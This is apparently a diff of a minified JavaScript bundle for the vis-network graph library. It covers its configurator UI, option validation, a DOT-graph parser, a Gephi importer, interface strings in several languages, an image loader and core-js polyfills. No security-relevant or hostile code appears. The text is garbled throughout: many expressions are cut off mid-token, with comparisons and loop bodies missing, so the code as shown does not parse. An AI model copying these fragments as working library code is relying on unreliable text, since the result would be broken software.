e=document.createElement("div");e.className="vis-configuration vis-config-button",e.innerText="generate options",e.onclick=()=>{this._printOptions()},e.onmouseover=()=>{e.className="vis-configuration vis-config-button hover"},e.onmouseout=()=>{e.className="vis-configuration vis-config-button"},this.optionsContainer=document.createElement("div"),this.optionsContainer.className="vis-configuration vis-config-option-container",this.domElements.push(this.optionsContainer),this.domElements.push(e)}}_setupPopup(e,t){if(this.initialized===!0&&this.allowCreation===!0&&this.popupCounter{this._removePopup()},this.popupCounter+=1,this.popupDiv={html:i,index:t}}}_removePopup(){this.popupDiv.html!==void 0&&(this.popupDiv.html.parentNode.removeChild(this.popupDiv.html),clearTimeout(this.popupDiv.hideTimeout),clearTimeout(this.popupDiv.deleteTimeout),this.popupDiv={})}_showPopupIfNeeded(){if(this.popupDiv.html!==void 0){const t=this.domElements[this.popupDiv.index].getBoundingClientRect();this.popupDiv.html.style.left=t.left+"px",this.popupDiv.html.style.top=t.top-30+"px",document.body.appendChild(this.popupDiv.html),this.popupDiv.hideTimeout=Ai(()=>{this.popupDiv.html.style.opacity=0},1500),this.popupDiv.deleteTimeout=Ai(()=>{this._removePopup()},1800)}}_makeCheckbox(e,t,i){const C=document.createElement("input");C.type="checkbox",C.className="vis-configuration vis-config-checkbox",C.checked=e,t!==void 0&&(C.checked=t,t!==e&&(typeof e=="object"?t!==e.enabled&&this.changedOptions.push({path:i,value:t}):this.changedOptions.push({path:i,value:t})));const o=this;C.onchange=function(){o._update(this.checked,i)};const s=this._makeLabel(i[i.length-1],i);this._makeItem(i,s,C)}_makeTextInput(e,t,i){const C=document.createElement("input");C.type="text",C.className="vis-configuration vis-config-text",C.value=t,t!==e&&this.changedOptions.push({path:i,value:t});const o=this;C.onchange=function(){o._update(this.value,i)};const s=this._makeLabel(i[i.length-1],i);this._makeItem(i,s,C)}_makeColorField(e,t,i){const C=e[1],o=document.createElement("div");t=t===void 0?C:t,t!=="none"?(o.className="vis-configuration vis-config-colorBlock",o.style.backgroundColor=t):o.className="vis-configuration vis-config-colorBlock none",t=t===void 0?C:t,o.onclick=()=>{this._showColorPicker(t,o,i)};const s=this._makeLabel(i[i.length-1],i);this._makeItem(i,s,o)}_showColorPicker(e,t,i){t.onclick=function(){},this.colorPicker.insertTo(t),this.colorPicker.show(),this.colorPicker.setColor(e),this.colorPicker.setUpdateCallback(C=>{const o="rgba("+C.r+","+C.g+","+C.b+","+C.a+")";t.style.backgroundColor=o,this._update(o,i)}),this.colorPicker.setCloseCallback(()=>{t.onclick=()=>{this._showColorPicker(e,t,i)}})}_handleObject(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:[],i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!1,C=!1;const o=wt(this.options);let s=!1;for(const a in e)if(Object.prototype.hasOwnProperty.call(e,a)){C=!0;const l=e[a],u=Qs(t,a);if(typeof o=="function"&&(C=o(a,t),C===!1&&!Re(l)&&typeof l!="string"&&typeof l!="boolean"&&l instanceof Object&&(this.allowCreation=!1,C=this._handleObject(l,u,!0),this.allowCreation=i===!1)),C!==!1){s=!0;const h=this._getValue(u);if(Re(l))this._handleArray(l,h,u);else if(typeof l=="string")this._makeTextInput(l,h,u);else if(typeof l=="boolean")this._makeCheckbox(l,h,u);else if(l instanceof Object){if(!this.hideOption(t,a,this.moduleOptions))if(l.enabled!==void 0){const p=Qs(u,"enabled"),m=this._getValue(p);if(m===!0){const v=this._makeLabel(a,u,!0);this._makeItem(u,v),s=this._handleObject(l,u)||s}else this._makeCheckbox(l,m,u)}else{const p=this._makeLabel(a,u,!0);this._makeItem(u,p),s=this._handleObject(l,u)||s}}else console.error("dont know how to handle",l,a,u)}}return s}_handleArray(e,t,i){typeof e[0]=="string"&&e[0]==="color"?(this._makeColorField(e,t,i),e[1]!==t&&this.changedOptions.push({path:i,value:t})):typeof e[0]=="string"?(this._makeDropdown(e,t,i),e[0]!==t&&this.changedOptions.push({path:i,value:t})):typeof e[0]=="number"&&(this._makeRange(e,t,i),e[0]!==t&&this.changedOptions.push({path:i,value:Number(t)}))}_update(e,t){const i=this._constructOptions(e,t);this.parent.body&&this.parent.body.emitter&&this.parent.body.emitter.emit&&this.parent.body.emitter.emit("configChange",i),this.initialized=!0,this.parent.setOptions(i)}_constructOptions(e,t){let i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{},C=i;e=e==="true"?!0:e,e=e==="false"?!1:e;for(let o=0;oo-this.padding&&(l=!0),l?s=this.x-i:s=this.x,u?a=this.y-t:a=this.y}else a=this.y-t,a+t+this.padding>C&&(a=C-t-this.padding),ao&&(s=o-i-this.padding),so.distance?l=" in "+ct.printLocation(C.path,e,"")+"Perhaps it was misplaced? Matching option found at: "+ct.printLocation(o.path,o.closestMatch,""):C.distance<=s?l='. Did you mean "'+C.closestMatch+'"?'+ct.printLocation(C.path,e):l=". Did you mean one of these: "+ct.print($e(t))+ct.printLocation(i,e),console.error('%cUnknown option detected: "'+e+'"'+l,Yc),GI=!0}static findInOptions(e,t,i){let C=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!1,o=1e9,s="",a=[];const l=e.toLowerCase();let u;for(const p in t){let m;if(t[p].__type__!==void 0&&C===!0){const v=ct.findInOptions(e,t[p],Qs(i,p));o>v.distance&&(s=v.closestMatch,a=v.path,o=v.distance,u=v.indexMatch)}else{var h;Ge(h=p.toLowerCase()).call(h,l)!==-1&&(u=p),m=ct.levenshteinDistance(e,p),o>m&&(s=p,a=oG(i),o=m)}}return{closestMatch:s,path:a,distance:o,indexMatch:u}}static printLocation(e,t){let C=` +`:o.distance<=a&&C.distance>o.distance?l=" in "+ct.printLocation(C.path,e,"")+"Perhaps it was misplaced? Matching option found at: "+ct.printLocation(o.path,o.closestMatch,""):C.distance<=s?l='. Did you mean "'+C.closestMatch+'"?'+ct.printLocation(C.path,e):l=". Did you mean one of these: "+ct.print(Je(t))+ct.printLocation(i,e),console.error('%cUnknown option detected: "'+e+'"'+l,Yc),GI=!0}static findInOptions(e,t,i){let C=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!1,o=1e9,s="",a=[];const l=e.toLowerCase();let u;for(const p in t){let m;if(t[p].__type__!==void 0&&C===!0){const v=ct.findInOptions(e,t[p],Qs(i,p));o>v.distance&&(s=v.closestMatch,a=v.path,o=v.distance,u=v.indexMatch)}else{var h;Le(h=p.toLowerCase()).call(h,l)!==-1&&(u=p),m=ct.levenshteinDistance(e,p),o>m&&(s=p,a=c6(i),o=m)}}return{closestMatch:s,path:a,distance:o,indexMatch:u}}static printLocation(e,t){let C=` `+(arguments.length>2&&arguments[2]!==void 0?arguments[2]:`Problem value found at: `)+`options = { @@ -712,16 +712,16 @@ input.vis-configuration.vis-config-range:focus::-ms-fill-upper { `;for(let o=0;o":!0,"--":!0},An="",eC=0,be="",ae="",ng=Wt.NULL;function EG(){eC=0,be=An.charAt(0)}function kt(){eC++,be=An.charAt(eC)}function tC(){return An.charAt(eC+1)}function bb(n){var e=n.charCodeAt(0);return e<47?e===35||e===46:e<59?e>47:e<91?e>64:e<96?e===95:e<123?e>96:!1}function Cn(n,e){if(n||(n={}),e)for(var t in e)e.hasOwnProperty(t)&&(n[t]=e[t]);return n}function TG(n,e,t){for(var i=e.split("."),C=n;i.length;){var o=i.shift();i.length?(C[o]||(C[o]={}),C=C[o]):C[o]=t}}function wb(n,e){for(var t,i,C=null,o=[n],s=n;s.parent;)o.push(s.parent),s=s.parent;if(s.nodes){for(t=0,i=s.nodes.length;t=0;t--){var a,l=o[t];l.nodes||(l.nodes=[]),Ge(a=l.nodes).call(a,C)===-1&&l.nodes.push(C)}e.attr&&(C.attr=Cn(C.attr,e.attr))}function SG(n,e){if(n.edges||(n.edges=[]),n.edges.push(e),n.edge){var t=Cn({},n.edge);e.attr=Cn(t,e.attr)}}function Eb(n,e,t,i,C){var o={from:e,to:t,type:i};return n.edge&&(o.attr=Cn({},n.edge)),o.attr=Cn(o.attr||{},C),C!=null&&C.hasOwnProperty("arrows")&&C.arrows!=null&&(o.arrows={to:{enabled:!0,type:C.arrows.type}},C.arrows=null),o}function qe(){for(ng=Wt.NULL,ae="";be===" "||be===" "||be===` -`||be==="\r";)kt();do{var n=!1;if(be==="#"){for(var e=eC-1;An.charAt(e)===" "||An.charAt(e)===" ";)e--;if(An.charAt(e)===` -`||An.charAt(e)===""){for(;be!=""&&be!=` -`;)kt();n=!0}}if(be==="/"&&tC()==="/"){for(;be!=""&&be!=` -`;)kt();n=!0}if(be==="/"&&tC()==="*"){for(;be!="";)if(be==="*"&&tC()==="/"){kt(),kt();break}else kt();n=!0}for(;be===" "||be===" "||be===` -`||be==="\r";)kt()}while(n);if(be===""){ng=Wt.DELIMITER;return}var t=be+tC();if(yb[t]){ng=Wt.DELIMITER,ae=t,kt(),kt();return}if(yb[be]){ng=Wt.DELIMITER,ae=be,kt();return}if(bb(be)||be==="-"){for(ae+=be,kt();bb(be);)ae+=be,kt();ae==="false"?ae=!1:ae==="true"?ae=!0:isNaN(Number(ae))||(ae=Number(ae)),ng=Wt.IDENTIFIER;return}if(be==='"'){for(kt();be!=""&&(be!='"'||be==='"'&&tC()==='"');)be==='"'?(ae+=be,kt()):be==="\\"&&tC()==="n"?(ae+=` -`,kt()):ae+=be,kt();if(be!='"')throw qt('End of string " expected');kt(),ng=Wt.IDENTIFIER;return}for(ng=Wt.UNKNOWN;be!="";)ae+=be,kt();throw new SyntaxError('Syntax error in part "'+xb(ae,30)+'"')}function OG(){var n={};if(EG(),qe(),ae==="strict"&&(n.strict=!0,qe()),(ae==="graph"||ae==="digraph")&&(n.type=ae,qe()),ng===Wt.IDENTIFIER&&(n.id=ae,qe()),ae!="{")throw qt("Angle bracket { expected");if(qe(),Tb(n),ae!="}")throw qt("Angle bracket } expected");if(qe(),ae!=="")throw qt("End of file expected");return qe(),delete n.node,delete n.edge,delete n.graph,n}function Tb(n){for(;ae!==""&&ae!="}";)xG(n),ae===";"&&qe()}function xG(n){var e=Sb(n);if(e){Ob(n,e);return}var t=NG(n);if(!t){if(ng!=Wt.IDENTIFIER)throw qt("Identifier expected");var i=ae;if(qe(),ae==="="){if(qe(),ng!=Wt.IDENTIFIER)throw qt("Identifier expected");n[i]=ae,qe()}else DG(n,i)}}function Sb(n){var e=null;if(ae==="subgraph"&&(e={},e.type="subgraph",qe(),ng===Wt.IDENTIFIER&&(e.id=ae,qe())),ae==="{"){if(qe(),e||(e={}),e.parent=n,e.node=n.node,e.edge=n.edge,e.graph=n.graph,Tb(e),ae!="}")throw qt("Angle bracket } expected");qe(),delete e.node,delete e.edge,delete e.graph,delete e.parent,n.subgraphs||(n.subgraphs=[]),n.subgraphs.push(e)}return e}function NG(n){return ae==="node"?(qe(),n.node=FI(),"node"):ae==="edge"?(qe(),n.edge=FI(),"edge"):ae==="graph"?(qe(),n.graph=FI(),"graph"):null}function DG(n,e){var t={id:e},i=FI();i&&(t.attr=i),wb(n,t),Ob(n,e)}function Ob(n,e){for(;ae==="->"||ae==="--";){var t,i=ae;qe();var C=Sb(n);if(C)t=C;else{if(ng!=Wt.IDENTIFIER)throw qt("Identifier or subgraph expected");t=ae,wb(n,{id:t}),qe()}var o=FI(),s=Eb(n,e,t,i,o);SG(n,s),e=t}}function FI(){for(var n,e=null,t={dashed:!0,solid:!1,dotted:[1,5]},i={dot:"circle",box:"box",crow:"crow",curve:"curve",icurve:"inv_curve",normal:"triangle",inv:"inv_triangle",diamond:"diamond",tee:"bar",vee:"vee"},C=new Array,o=new Array;ae==="[";){for(qe(),e={};ae!==""&&ae!="]";){if(ng!=Wt.IDENTIFIER)throw qt("Attribute name expected");var s=ae;if(qe(),ae!="=")throw qt("Equal sign = expected");if(qe(),ng!=Wt.IDENTIFIER)throw qt("Attribute value expected");var a=ae;s==="style"&&(a=t[a]);var l;s==="arrowhead"&&(l=i[a],s="arrows",a={to:{enabled:!0,type:l}}),s==="arrowtail"&&(l=i[a],s="arrows",a={from:{enabled:!0,type:l}}),C.push({attr:e,name:s,value:a}),o.push(s),qe(),ae==","&&qe()}if(ae!="]")throw qt("Bracket ] expected");qe()}if(Ji(o).call(o,"dir")){var u={};for(u.arrows={},n=0;n"&&(a.arrows="to"),a};De(C=e.edges).call(C,function(s){var a,l;if(s.from instanceof Object?a=s.from.nodes:a={id:s.from},s.to instanceof Object?l=s.to.nodes:l={id:s.to},s.from instanceof Object&&s.from.edges){var u;De(u=s.from.edges).call(u,function(p){var m=o(p);t.edges.push(m)})}if(zG(a,l,function(p,m){var v=Eb(t,p.id,m.id,s.type,s.attr),w=o(v);t.edges.push(w)}),s.to instanceof Object&&s.to.edges){var h;De(h=s.to.edges).call(h,function(p){var m=o(p);t.edges.push(m)})}})}return e.attr&&(t.options=e.attr),t}function MG(n,e){var t;const i={edges:{inheritColor:!1},nodes:{fixed:!1,parseColor:!1}};e!=null&&(e.fixed!=null&&(i.nodes.fixed=e.fixed),e.parseColor!=null&&(i.nodes.parseColor=e.parseColor),e.inheritColor!=null&&(i.edges.inheritColor=e.inheritColor));const C=n.edges,o=jt(C).call(C,a=>{const l={from:a.source,id:a.id,to:a.target};return a.attributes!=null&&(l.attributes=a.attributes),a.label!=null&&(l.label=a.label),a.attributes!=null&&a.attributes.title!=null&&(l.title=a.attributes.title),a.type==="Directed"&&(l.arrows="to"),a.color&&i.edges.inheritColor===!1&&(l.color=a.color),l});return{nodes:jt(t=n.nodes).call(t,a=>{const l={id:a.id,fixed:i.nodes.fixed&&a.x!=null&&a.y!=null};return a.attributes!=null&&(l.attributes=a.attributes),a.label!=null&&(l.label=a.label),a.size!=null&&(l.size=a.size),a.attributes!=null&&a.attributes.title!=null&&(l.title=a.attributes.title),a.title!=null&&(l.title=a.title),a.x!=null&&(l.x=a.x),a.y!=null&&(l.y=a.y),a.color!=null&&(i.nodes.parseColor===!0?l.color=a.color:l.color={background:a.color,border:a.color,highlight:{background:a.color,border:a.color},hover:{background:a.color,border:a.color}}),l}),edges:o}}var _G=Object.freeze({__proto__:null,cn:{addDescription:"单击空白处放置新节点。",addEdge:"添加连接线",addNode:"添加节点",back:"返回",close:"關閉",createEdgeError:"无法将连接线连接到群集。",del:"删除选定",deleteClusterError:"无法删除群集。",edgeDescription:"单击某个节点并将该连接线拖动到另一个节点以连接它们。",edit:"编辑",editClusterError:"无法编辑群集。",editEdge:"编辑连接线",editEdgeDescription:"单击控制节点并将它们拖到节点上连接。",editNode:"编辑节点"},cs:{addDescription:"Kluknutím do prázdného prostoru můžete přidat nový vrchol.",addEdge:"Přidat hranu",addNode:"Přidat vrchol",back:"Zpět",close:"Zavřít",createEdgeError:"Nelze připojit hranu ke shluku.",del:"Smazat výběr",deleteClusterError:"Nelze mazat shluky.",edgeDescription:"Přetažením z jednoho vrcholu do druhého můžete spojit tyto vrcholy novou hranou.",edit:"Upravit",editClusterError:"Nelze upravovat shluky.",editEdge:"Upravit hranu",editEdgeDescription:"Přetažením kontrolního vrcholu hrany ji můžete připojit k jinému vrcholu.",editNode:"Upravit vrchol"},de:{addDescription:"Klicke auf eine freie Stelle, um einen neuen Knoten zu plazieren.",addEdge:"Kante hinzufügen",addNode:"Knoten hinzufügen",back:"Zurück",close:"Schließen",createEdgeError:"Es ist nicht möglich, Kanten mit Clustern zu verbinden.",del:"Lösche Auswahl",deleteClusterError:"Cluster können nicht gelöscht werden.",edgeDescription:"Klicke auf einen Knoten und ziehe die Kante zu einem anderen Knoten, um diese zu verbinden.",edit:"Editieren",editClusterError:"Cluster können nicht editiert werden.",editEdge:"Kante editieren",editEdgeDescription:"Klicke auf die Verbindungspunkte und ziehe diese auf einen Knoten, um sie zu verbinden.",editNode:"Knoten editieren"},en:{addDescription:"Click in an empty space to place a new node.",addEdge:"Add Edge",addNode:"Add Node",back:"Back",close:"Close",createEdgeError:"Cannot link edges to a cluster.",del:"Delete selected",deleteClusterError:"Clusters cannot be deleted.",edgeDescription:"Click on a node and drag the edge to another node to connect them.",edit:"Edit",editClusterError:"Clusters cannot be edited.",editEdge:"Edit Edge",editEdgeDescription:"Click on the control points and drag them to a node to connect to it.",editNode:"Edit Node"},es:{addDescription:"Haga clic en un lugar vacío para colocar un nuevo nodo.",addEdge:"Añadir arista",addNode:"Añadir nodo",back:"Atrás",close:"Cerrar",createEdgeError:"No se puede conectar una arista a un grupo.",del:"Eliminar selección",deleteClusterError:"No es posible eliminar grupos.",edgeDescription:"Haga clic en un nodo y arrastre la arista hacia otro nodo para conectarlos.",edit:"Editar",editClusterError:"No es posible editar grupos.",editEdge:"Editar arista",editEdgeDescription:"Haga clic en un punto de control y arrastrelo a un nodo para conectarlo.",editNode:"Editar nodo"},fr:{addDescription:"Cliquez dans un endroit vide pour placer un nœud.",addEdge:"Ajouter un lien",addNode:"Ajouter un nœud",back:"Retour",close:"Fermer",createEdgeError:"Impossible de créer un lien vers un cluster.",del:"Effacer la sélection",deleteClusterError:"Les clusters ne peuvent pas être effacés.",edgeDescription:"Cliquez sur un nœud et glissez le lien vers un autre nœud pour les connecter.",edit:"Éditer",editClusterError:"Les clusters ne peuvent pas être édités.",editEdge:"Éditer le lien",editEdgeDescription:"Cliquez sur les points de contrôle et glissez-les pour connecter un nœud.",editNode:"Éditer le nœud"},it:{addDescription:"Clicca per aggiungere un nuovo nodo",addEdge:"Aggiungi un vertice",addNode:"Aggiungi un nodo",back:"Indietro",close:"Chiudere",createEdgeError:"Non si possono collegare vertici ad un cluster",del:"Cancella la selezione",deleteClusterError:"I cluster non possono essere cancellati",edgeDescription:"Clicca su un nodo e trascinalo ad un altro nodo per connetterli.",edit:"Modifica",editClusterError:"I clusters non possono essere modificati.",editEdge:"Modifica il vertice",editEdgeDescription:"Clicca sui Punti di controllo e trascinali ad un nodo per connetterli.",editNode:"Modifica il nodo"},nl:{addDescription:"Klik op een leeg gebied om een nieuwe node te maken.",addEdge:"Link toevoegen",addNode:"Node toevoegen",back:"Terug",close:"Sluiten",createEdgeError:"Kan geen link maken naar een cluster.",del:"Selectie verwijderen",deleteClusterError:"Clusters kunnen niet worden verwijderd.",edgeDescription:"Klik op een node en sleep de link naar een andere node om ze te verbinden.",edit:"Wijzigen",editClusterError:"Clusters kunnen niet worden aangepast.",editEdge:"Link wijzigen",editEdgeDescription:"Klik op de verbindingspunten en sleep ze naar een node om daarmee te verbinden.",editNode:"Node wijzigen"},pt:{addDescription:"Clique em um espaço em branco para adicionar um novo nó",addEdge:"Adicionar aresta",addNode:"Adicionar nó",back:"Voltar",close:"Fechar",createEdgeError:"Não foi possível linkar arestas a um cluster.",del:"Remover selecionado",deleteClusterError:"Clusters não puderam ser removidos.",edgeDescription:"Clique em um nó e arraste a aresta até outro nó para conectá-los",edit:"Editar",editClusterError:"Clusters não puderam ser editados.",editEdge:"Editar aresta",editEdgeDescription:"Clique nos pontos de controle e os arraste para um nó para conectá-los",editNode:"Editar nó"},ru:{addDescription:"Кликните в свободное место, чтобы добавить новый узел.",addEdge:"Добавить ребро",addNode:"Добавить узел",back:"Назад",close:"Закрывать",createEdgeError:"Невозможно соединить ребра в кластер.",del:"Удалить выбранное",deleteClusterError:"Кластеры не могут быть удалены",edgeDescription:"Кликните на узел и протяните ребро к другому узлу, чтобы соединить их.",edit:"Редактировать",editClusterError:"Кластеры недоступны для редактирования.",editEdge:"Редактировать ребро",editEdgeDescription:"Кликните на контрольные точки и перетащите их в узел, чтобы подключиться к нему.",editNode:"Редактировать узел"},uk:{addDescription:"Kлікніть на вільне місце, щоб додати новий вузол.",addEdge:"Додати край",addNode:"Додати вузол",back:"Назад",close:"Закрити",createEdgeError:"Не можливо об'єднати краї в групу.",del:"Видалити обране",deleteClusterError:"Групи не можуть бути видалені.",edgeDescription:"Клікніть на вузол і перетягніть край до іншого вузла, щоб їх з'єднати.",edit:"Редагувати",editClusterError:"Групи недоступні для редагування.",editEdge:"Редагувати край",editEdgeDescription:"Клікніть на контрольні точки і перетягніть їх у вузол, щоб підключитися до нього.",editNode:"Редагувати вузол"}});function kG(n,e){try{const[i,C]=e.split(/[-_ /]/,2),o=i!=null?i.toLowerCase():null,s=C!=null?C.toUpperCase():null;if(o&&s){const a=o+"-"+s;if(Object.prototype.hasOwnProperty.call(n,a))return a;var t;console.warn(oy(t="Unknown variant ".concat(s," of language ")).call(t,o,"."))}if(o){const a=o;if(Object.prototype.hasOwnProperty.call(n,a))return a;console.warn("Unknown language ".concat(o))}return console.warn("Unknown locale ".concat(e,", falling back to English.")),"en"}catch(i){return console.error(i),console.warn("Unexpected error while normalizing locale ".concat(e,", falling back to English.")),"en"}}class ZG{constructor(){this.NUM_ITERATIONS=4,this.image=new Image,this.canvas=document.createElement("canvas")}init(){if(this.initialized())return;this.src=this.image.src;const e=this.image.width,t=this.image.height;this.width=e,this.height=t;const i=Math.floor(t/2),C=Math.floor(t/4),o=Math.floor(t/8),s=Math.floor(t/16),a=Math.floor(e/2),l=Math.floor(e/4),u=Math.floor(e/8),h=Math.floor(e/16);this.canvas.width=3*l,this.canvas.height=i,this.coordinates=[[0,0,a,i],[a,0,l,C],[a,C,u,o],[5*u,C,h,s]],this._fillMipMap()}initialized(){return this.coordinates!==void 0}_fillMipMap(){const e=this.canvas.getContext("2d"),t=this.coordinates[0];e.drawImage(this.image,t[0],t[1],t[2],t[3]);for(let i=1;i2){t*=.5;let a=0;for(;t>2&&a=this.NUM_ITERATIONS&&(a=this.NUM_ITERATIONS-1);const l=this.coordinates[a];e.drawImage(this.canvas,l[0],l[1],l[2],l[3],i,C,o,s)}else e.drawImage(this.image,i,C,o,s)}}class BG{constructor(e){this.images={},this.imageBroken={},this.callback=e}_tryloadBrokenUrl(e,t,i){if(!(e===void 0||i===void 0)){if(t===void 0){console.warn("No broken url image defined");return}i.image.onerror=()=>{console.error("Could not load brokenImage:",t)},i.image.src=t}}_redrawWithImage(e){this.callback&&this.callback(e)}load(e,t){const i=this.images[e];if(i)return i;const C=new ZG;return this.images[e]=C,C.image.onload=()=>{this._fixImageCoordinates(C.image),C.init(),this._redrawWithImage(C)},C.image.onerror=()=>{console.error("Could not load image:",e),this._tryloadBrokenUrl(e,t,C)},C.image.src=e,C}_fixImageCoordinates(e){e.width===0&&(document.body.appendChild(e),e.width=e.offsetWidth,e.height=e.offsetHeight,document.body.removeChild(e))}}var Db={exports:{}},PG=Ze,jG=PG(function(){if(typeof ArrayBuffer=="function"){var n=new ArrayBuffer(8);Object.isExtensible(n)&&Object.defineProperty(n,"a",{value:8})}}),LG=Ze,GG=Kt,FG=mi,zb=jG,Ws=Object.isExtensible,VG=LG(function(){Ws(1)}),YG=VG||zb?function(e){return!GG(e)||zb&&FG(e)==="ArrayBuffer"?!1:Ws?Ws(e):!0}:Ws,UG=Ze,Rb=!UG(function(){return Object.isExtensible(Object.preventExtensions({}))}),HG=ue,KG=Be,QG=rI,XG=Kt,Kc=Rt,WG=cg.f,Mb=fI,qG=ys,Qc=YG,JG=ss,$G=Rb,_b=!1,Oi=JG("meta"),e6=0,Xc=function(n){WG(n,Oi,{value:{objectID:"O"+e6++,weakData:{}}})},t6=function(n,e){if(!XG(n))return typeof n=="symbol"?n:(typeof n=="string"?"S":"P")+n;if(!Kc(n,Oi)){if(!Qc(n))return"F";if(!e)return"E";Xc(n)}return n[Oi].objectID},g6=function(n,e){if(!Kc(n,Oi)){if(!Qc(n))return!0;if(!e)return!1;Xc(n)}return n[Oi].weakData},i6=function(n){return $G&&_b&&Qc(n)&&!Kc(n,Oi)&&Xc(n),n},n6=function(){A6.enable=function(){},_b=!0;var n=Mb.f,e=KG([].splice),t={};t[Oi]=1,n(t).length&&(Mb.f=function(i){for(var C=n(i),o=0,s=C.length;op;p++)if(v=D(n[p]),v&&jb(Gb,v))return v;return new Js(!1)}u=z6(n,h)}for(w=o?n.next:u.next;!(N=S6(w,u)).done;){try{v=D(N.value)}catch(k){Lb(u,"throw",k)}if(typeof v=="object"&&v&&jb(Gb,v))return v}return new Js(!1)},_6=st,k6=TypeError,qc=function(n,e){if(_6(e,n))return n;throw new k6("Incorrect invocation")},Z6=ue,B6=ot,P6=qs,j6=Ze,L6=_A,G6=Wc,F6=qc,V6=Pt,Y6=Kt,U6=DA,H6=PA,K6=cg.f,Q6=Wi.forEach,X6=zt,Fb=Gn,W6=Fb.set,q6=Fb.getterFor,Jc=function(n,e,t){var i=n.indexOf("Map")!==-1,C=n.indexOf("Weak")!==-1,o=i?"set":"add",s=B6[n],a=s&&s.prototype,l={},u;if(!X6||!V6(s)||!(C||a.forEach&&!j6(function(){new s().entries().next()})))u=t.getConstructor(e,n,i,o),P6.enable();else{u=e(function(m,v){W6(F6(m,h),{type:n,collection:new s}),U6(v)||G6(v,m[o],{that:m,AS_ENTRIES:i})});var h=u.prototype,p=q6(n);Q6(["add","clear","delete","forEach","get","has","set","keys","values","entries"],function(m){var v=m==="add"||m==="set";m in a&&!(C&&m==="clear")&&L6(h,m,function(w,N){var x=p(this).collection;if(!v&&C&&!Y6(w))return m==="get"?void 0:!1;var D=x[m](w===0?0:w,N);return v?this:D})}),C||K6(h,"size",{configurable:!0,get:function(){return p(this).collection.size}})}return H6(u,n,!1,!0),l[n]=u,Z6({global:!0,forced:!0},l),C||t.setStrong(u,n,i),u},J6=pI,$c=function(n,e,t){for(var i in e)t&&t.unsafe&&n[i]?n[i]=e[i]:J6(n,i,e[i],t);return n},$6=Ug,e9=Ll,t9=dt,g9=zt,Vb=t9("species"),i9=function(n){var e=$6(n);g9&&e&&!e[Vb]&&e9(e,Vb,{configurable:!0,get:function(){return this}})},n9=hI,A9=Ll,Yb=$c,C9=oI,I9=qc,o9=DA,s9=Wc,r9=Ic,$s=oc,a9=i9,VI=zt,Ub=qs.fastKey,Hb=Gn,Kb=Hb.set,eu=Hb.getterFor,Qb={getConstructor:function(n,e,t,i){var C=n(function(u,h){I9(u,o),Kb(u,{type:e,index:n9(null),first:void 0,last:void 0,size:0}),VI||(u.size=0),o9(h)||s9(h,u[i],{that:u,AS_ENTRIES:t})}),o=C.prototype,s=eu(e),a=function(u,h,p){var m=s(u),v=l(u,h),w,N;return v?v.value=p:(m.last=v={index:N=Ub(h,!0),key:h,value:p,previous:w=m.last,next:void 0,removed:!1},m.first||(m.first=v),w&&(w.next=v),VI?m.size++:u.size++,N!=="F"&&(m.index[N]=v)),u},l=function(u,h){var p=s(u),m=Ub(h),v;if(m!=="F")return p.index[m];for(v=p.first;v;v=v.next)if(v.key===h)return v};return Yb(o,{clear:function(){for(var h=this,p=s(h),m=p.index,v=p.first;v;)v.removed=!0,v.previous&&(v.previous=v.previous.next=void 0),delete m[v.index],v=v.next;p.first=p.last=void 0,VI?p.size=0:h.size=0},delete:function(u){var h=this,p=s(h),m=l(h,u);if(m){var v=m.next,w=m.previous;delete p.index[m.index],m.removed=!0,w&&(w.next=v),v&&(v.previous=w),p.first===m&&(p.first=v),p.last===m&&(p.last=w),VI?p.size--:h.size--}return!!m},forEach:function(h){for(var p=s(this),m=C9(h,arguments.length>1?arguments[1]:void 0),v;v=v?v.next:p.first;)for(m(v.value,v.key,this);v&&v.removed;)v=v.previous},has:function(h){return!!l(this,h)}}),Yb(o,t?{get:function(h){var p=l(this,h);return p&&p.value},set:function(h,p){return a(this,h===0?0:h,p)}}:{add:function(h){return a(this,h=h===0?0:h,h)}}),VI&&A9(o,"size",{configurable:!0,get:function(){return s(this).size}}),C},setStrong:function(n,e,t){var i=e+" Iterator",C=eu(e),o=eu(i);r9(n,e,function(s,a){Kb(this,{type:i,target:s,state:C(s),kind:a,last:void 0})},function(){for(var s=o(this),a=s.kind,l=s.last;l&&l.removed;)l=l.previous;return!s.target||!(s.last=l=l?l.next:s.state.first)?(s.target=void 0,$s(void 0,!0)):$s(a==="keys"?l.key:a==="values"?l.value:[l.key,l.value],!1)},t?"entries":"values",!t,!0),a9(e)}},l9=Jc,c9=Qb;l9("Map",function(n){return function(){return n(this,arguments.length?arguments[0]:void 0)}},c9);var tu=Be,u9=cs,d9=gi,h9=gI,f9=tu("".charAt),Xb=tu("".charCodeAt),p9=tu("".slice),m9=function(n){return function(e,t){var i=d9(h9(e)),C=u9(t),o=i.length,s,a;return C<0||C>=o?n?"":void 0:(s=Xb(i,C),s<55296||s>56319||C+1===o||(a=Xb(i,C+1))<56320||a>57343?n?f9(i,C):s:n?p9(i,C,C+2):(s-55296<<10)+(a-56320)+65536)}},v9={charAt:m9(!0)},y9=v9.charAt,b9=gi,Wb=Gn,w9=Ic,qb=oc,Jb="String Iterator",E9=Wb.set,T9=Wb.getterFor(Jb);w9(String,"String",function(n){E9(this,{type:Jb,string:b9(n),index:0})},function(){var e=T9(this),t=e.string,i=e.index,C;return i>=t.length?qb(void 0,!0):(C=y9(t,i),e.index+=C.length,qb(C,!1))});var S9=Le,O9=S9.Map,x9=O9,N9=x9,D9=N9,YI=re(D9);class z9{constructor(){this.clear(),this._defaultIndex=0,this._groupIndex=0,this._defaultGroups=[{border:"#2B7CE9",background:"#97C2FC",highlight:{border:"#2B7CE9",background:"#D2E5FF"},hover:{border:"#2B7CE9",background:"#D2E5FF"}},{border:"#FFA500",background:"#FFFF00",highlight:{border:"#FFA500",background:"#FFFFA3"},hover:{border:"#FFA500",background:"#FFFFA3"}},{border:"#FA0A10",background:"#FB7E81",highlight:{border:"#FA0A10",background:"#FFAFB1"},hover:{border:"#FA0A10",background:"#FFAFB1"}},{border:"#41A906",background:"#7BE141",highlight:{border:"#41A906",background:"#A1EC76"},hover:{border:"#41A906",background:"#A1EC76"}},{border:"#E129F0",background:"#EB7DF4",highlight:{border:"#E129F0",background:"#F0B3F5"},hover:{border:"#E129F0",background:"#F0B3F5"}},{border:"#7C29F0",background:"#AD85E4",highlight:{border:"#7C29F0",background:"#D3BDF0"},hover:{b